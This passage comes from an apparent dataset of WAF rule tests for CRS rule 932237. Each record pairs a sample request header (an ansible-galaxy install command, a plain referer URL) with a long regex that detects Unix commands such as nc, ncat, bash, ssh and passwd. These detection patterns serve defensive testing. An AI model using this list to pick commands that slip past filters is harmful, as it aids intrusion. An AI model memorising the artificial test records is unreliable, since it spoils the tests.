wd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab)))|d(?:(?:[dfu]|i(?:(?:alo)?g|r|ff)|a(?:sh|te)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|nf(?:[\\s\\x0b&\\),<>\\|]|$)?|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:[bd]|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:d|rb|conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:(?:re|unt)(?:[\\s\\x0b&\\),<>\\|]|$)|squitto)|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:(?:ul)?l|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|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|y(?:3?versions|thon[23]))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|r(?:een|ipt))|g|ash|diff|ftp|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|h(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass))|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:(?:(?:ca|r)t|urce)(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|me(?:[\\s\\x0b&\\),<>\\|]|$|datectl|out(?:[\\s\\x0b&\\),<>\\|]|$)))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:[\\s\\x0b&\\),<>\\|]|$|m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|a(?:ll|tch))(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:o(?:[\\s\\x0b&\\),<>\\|]|$|ami|is(?:[\\s\\x0b&\\),<>\\|]|$))?|iptail(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))(?:\\b|[^0-9A-Z_a-z])", "negated": false } }, "transformations": [ "none", "cmdLine", "normalizePath" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932237", "test_description": "9323HNQU - should not be detected at PL 2" } }, { "input": { "malicious_payload": [ { "location": "header_user-agent", "value": "ansible-galaxy collection install community.general" } ], "attack_context": { "method": "POST", "location": [ "header_user-agent" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:7z(?:[\\s\\x0b&\\),<>\\|]|$|[arx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:(?:GE|POS)T|y(?:e(?:s|lp)|um|arn)|HEAD)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get|itude(?:[\\s\\x0b&\\),<>\\|]|$))|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:[\\s\\x0b&\\),<>\\|]|$|h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|t(?:[\\s\\x0b&\\),<>\\|]|$|obm(?:[\\s\\x0b&\\),<>\\|]|$))|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|io(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:t(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab)))|d(?:(?:[dfu]|i(?:(?:alo)?g|r|ff)|a(?:sh|te)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|nf(?:[\\s\\x0b&\\),<>\\|]|$)?|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:[bd]|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:d|rb|conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:(?:re|unt)(?:[\\s\\x0b&\\),<>\\|]|$)|squitto)|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:(?:ul)?l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]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ot|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|r(?:een|ipt))|g|ash|diff|ftp|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|h(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass))|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:(?:(?:ca|r)t|urce)(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|me(?:[\\s\\x0b&\\),<>\\|]|$|datectl|out(?:[\\s\\x0b&\\),<>\\|]|$)))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:[\\s\\x0b&\\),<>\\|]|$|m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|a(?:ll|tch))(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:o(?:[\\s\\x0b&\\),<>\\|]|$|ami|is(?:[\\s\\x0b&\\),<>\\|]|$))?|iptail(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))(?:\\b|[^0-9A-Z_a-z])", "negated": false } }, "transformations": [ "none", "cmdLine", "normalizePath" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932237", "test_description": "Block installing collections from ansible galaxy" } }, { "input": { "malicious_payload": [ { "location": "header_referer", "value": "https://www.example.com/xyz/?abc=dfc987c2-72e2-4a8e-ad98-e0bf1bc3a01c" } ], "attack_context": { "method": "POST", "location": [ "header_referer" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:7z(?:[\\s\\x0b&\\),<>\\|]|$|[arx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:(?:GE|POS)T|y(?:e(?:s|lp)|um|arn)|HEAD)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get|itude(?:[\\s\\x0b&\\),<>\\|]|$))|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:[\\s\\x0b&\\),<>\\|]|$|h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|t(?:[\\s\\x0b&\\),<>\\|]|$|obm(?:[\\s\\x0b&\\),<>\\|]|$))|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|